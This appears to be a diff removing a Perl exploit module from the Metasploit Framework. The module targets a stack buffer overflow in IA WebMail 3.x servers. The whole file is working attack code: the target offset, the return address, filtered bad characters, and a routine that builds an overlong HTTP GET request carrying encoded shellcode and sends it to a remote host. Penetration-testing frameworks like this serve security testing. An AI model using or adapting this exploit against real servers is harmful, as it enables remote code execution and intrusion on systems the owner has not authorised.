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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::ia_webmail;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'IA WebMail 3.x Buffer Overflow',
- 'Version' => '$Revision: 1.24 $',
- 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
-
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000' ],
- 'Priv' => 0,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 80],
- },
-
- 'Payload' =>
- {
- 'Space' => 1024,
- 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This exploits a stack overflow in the IA WebMail server. This
- exploit has not been tested against a live system at this time.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', 2757],
- ['URL', 'http://www.k-otik.net/exploits/11.19.iawebmail.pl.php'],
- ['MIL', '24'],
- ],
-
- 'DefaultTarget' => 0,
- 'Targets' => [['IA WebMail 3.x', 1036, 0x1002bd33]],
-
- 'Keys' => ['iawebmail'],
-
- 'DisclosureDate' => 'Nov 3 2003',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- # This exploit based on http://www.k-otik.net/exploits/11.19.iawebmail.pl.php
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
-
- my @targets = @{$self->Targets};
- my $target = $targets[$target_idx];
-
- $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
-
- my $request = "GET /" . ("o" x $target->[1]) . "META" .
- pack("V", $target->[2]). $shellcode .
- " HTTP/1.0\r\n\r\n";
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $self->PrintLine("[*] Sending " .length($request) . " bytes to remote host.");
- $s->Send($request);
-
- $self->PrintLine("[*] Waiting for a response...");
- my $r = $s->Recv(-1, 5);
- sleep(2);
- $s->Close();
- return;
- }
-